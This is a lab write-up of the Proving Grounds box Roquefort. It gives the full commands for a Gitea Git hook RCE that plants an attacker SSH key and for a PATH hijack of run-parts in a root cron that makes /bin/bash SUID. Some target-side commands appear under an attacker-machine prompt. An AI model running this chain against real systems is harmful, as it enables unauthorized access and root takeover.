Skip to content

Roquefort Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Roquefort runs Gitea 1.7.5 with open registration, vulnerable to an authenticated Git hook RCE (CVE-2019-11229). A hook that writes an SSH key to chloe's account gives a foothold, and a writable /usr/local/bin ahead of the system path in a root cron lets a fake run-parts binary hand over root.

Reconnaissance

Nmap

Four services are open.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
21/tcp   open ftp    (no anonymous login)
22/tcp   open ssh    OpenSSH
2222/tcp open ssh    Dropbear sshd 2016.74
3000/tcp open http   Gitea 1.7.5

Port 3000 runs Gitea 1.7.5, a self-hosted Git service, with registration open. This version is vulnerable to CVE-2019-11229, an authenticated remote code execution through Git hooks.

Exploitation

Gitea Git hook RCE (CVE-2019-11229)

Register an account, then create a repository to get access to its Git hooks.

Under the repository's Settings > Git Hooks > Post-Receive Hook, a quick test hook confirms code execution before going further.

#!/bin/bash
cat /etc/passwd

The hook output reveals the local user chloe. The target has neither nc nor curl, so instead of a reverse shell, write an attacker SSH key into chloe's authorized_keys for persistent access.

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t rsa -f roquefort_key -N ""
┌──(kali㉿kali)-[~]
└─$ cat roquefort_key.pub
ssh-rsa AAAAB3NzaC1yc2EA<snip> kali@kali
#!/bin/bash
mkdir -p /home/chloe/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EA<snip> kali@kali" >> /home/chloe/.ssh/authorized_keys
chmod 700 /home/chloe/.ssh
chmod 600 /home/chloe/.ssh/authorized_keys

The hook fires on any push, so cloning, committing, and pushing a trivial change triggers it. Editing a file directly in the Gitea web UI and committing works just as well.

┌──(kali㉿kali)-[~]
└─$ git clone http://$TARGET_IP:3000/<username>/exploit.git
┌──(kali㉿kali)-[~]
└─$ cd exploit
┌──(kali㉿kali)-[~]
└─$ echo "trigger" >> README.md
┌──(kali㉿kali)-[~]
└─$ git add .
┌──(kali㉿kali)-[~]
└─$ git commit -m "trigger hook"
┌──(kali㉿kali)-[~]
└─$ git push origin master
remote: Executing post-receive hook ...
To http://$TARGET_IP:3000/<username>/exploit.git
   e5f4380..8f67b03  master -> master
┌──(kali㉿kali)-[~]
└─$ ssh -i roquefort_key chloe@$TARGET_IP
chloe@roquefort:~$ id
uid=1000(chloe) gid=1000(chloe) groups=1000(chloe)
Explain command
-i Use this private key for authentication.

Shell as chloe.

Privilege Escalation

PATH hijack via /usr/local/bin

Check the PATH and what chloe can write to.

┌──(kali㉿kali)-[~]
└─$ echo $PATH
┌──(kali㉿kali)-[~]
└─$ ls -la /usr/local/bin/
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
drwxrwxrwx 2 root chloe 4096 /usr/local/bin

/usr/local/bin is writable by chloe and comes before /usr/bin and /bin in the PATH. Root cron jobs use run-parts to execute scripts in /etc/cron.hourly/ and similar directories, and that lookup will resolve to whatever is placed here first.

┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/cron.d/
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
#!/bin/bash
chmod +s /bin/bash
┌──(kali㉿kali)-[~]
└─$ echo '#!/bin/bash' > /usr/local/bin/run-parts
┌──(kali㉿kali)-[~]
└─$ echo 'chmod +s /bin/bash' >> /usr/local/bin/run-parts
┌──(kali㉿kali)-[~]
└─$ chmod +x /usr/local/bin/run-parts

Wait for the next cron run, then check whether /bin/bash picked up the SUID bit.

┌──(kali㉿kali)-[~]
└─$ watch -n 5 'ls -la /bin/bash'
-rwsr-sr-x 1 root root 1168776 /bin/bash
┌──(kali㉿kali)-[~]
└─$ /bin/bash -p
bash-5.0# id
uid=1000(chloe) gid=1000(chloe) euid=0(root) egid=0(root)
Explain command
-p Preserve the SUID-inherited effective privileges.

Cron ran the hijacked run-parts as root, giving a root shell.

References